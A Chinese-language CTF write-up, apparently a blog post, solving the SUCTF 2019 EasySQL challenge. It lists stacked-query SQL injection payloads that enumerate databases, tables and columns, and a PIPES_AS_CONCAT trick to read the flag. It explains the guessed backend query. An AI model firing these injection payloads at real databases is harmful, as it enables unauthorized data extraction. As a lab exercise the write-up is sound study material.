[SUCTF 2019]EasySQL1

本文探讨了一道SQL注入挑战,通过整数型注入发现flag表,利用pipelines_as_CONCAT特性执行SQL查询。作者分享了解决思路和payload使用实例,包括利用'1'字段名绕过过滤,以及如何将逻辑运算符变为字符串连接。

在这里插入图片描述
简单测试发现是整数型注入,然后这题还是整数型注入

1;show databases;
1;show tables;

在这里插入图片描述
发现有flag表

1;show columns from Flag;#

在这里插入图片描述
到这里就没有思路了
看wp看到三条payload:

*,1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

前置知识:
当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

第一条payload是大佬猜到了源码的sql查询语句为:

select $_GET[‘query’] || flag from flag

这种方式拼接出来那就是select *,1||flag from Flag
这句的意思就是 从flag表中查询所有数据,当字段名为1或者flag的时候
1和任意字符串或数字使用 ||连接 的值都为1,所以可以成功执行

在这里插入图片描述需要注意的是,数据库里面没有名称为1这个字段,这样查询会临时自动生成一个新的名称为1的列,里面的内容也全部是1

第二条payload就是利用前置知识里面的
思想是把"||"变成字符串连接符,而不是或

再看payload发现赛题还是有源码泄露的 : index.php.swp 不过这题复现没有

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值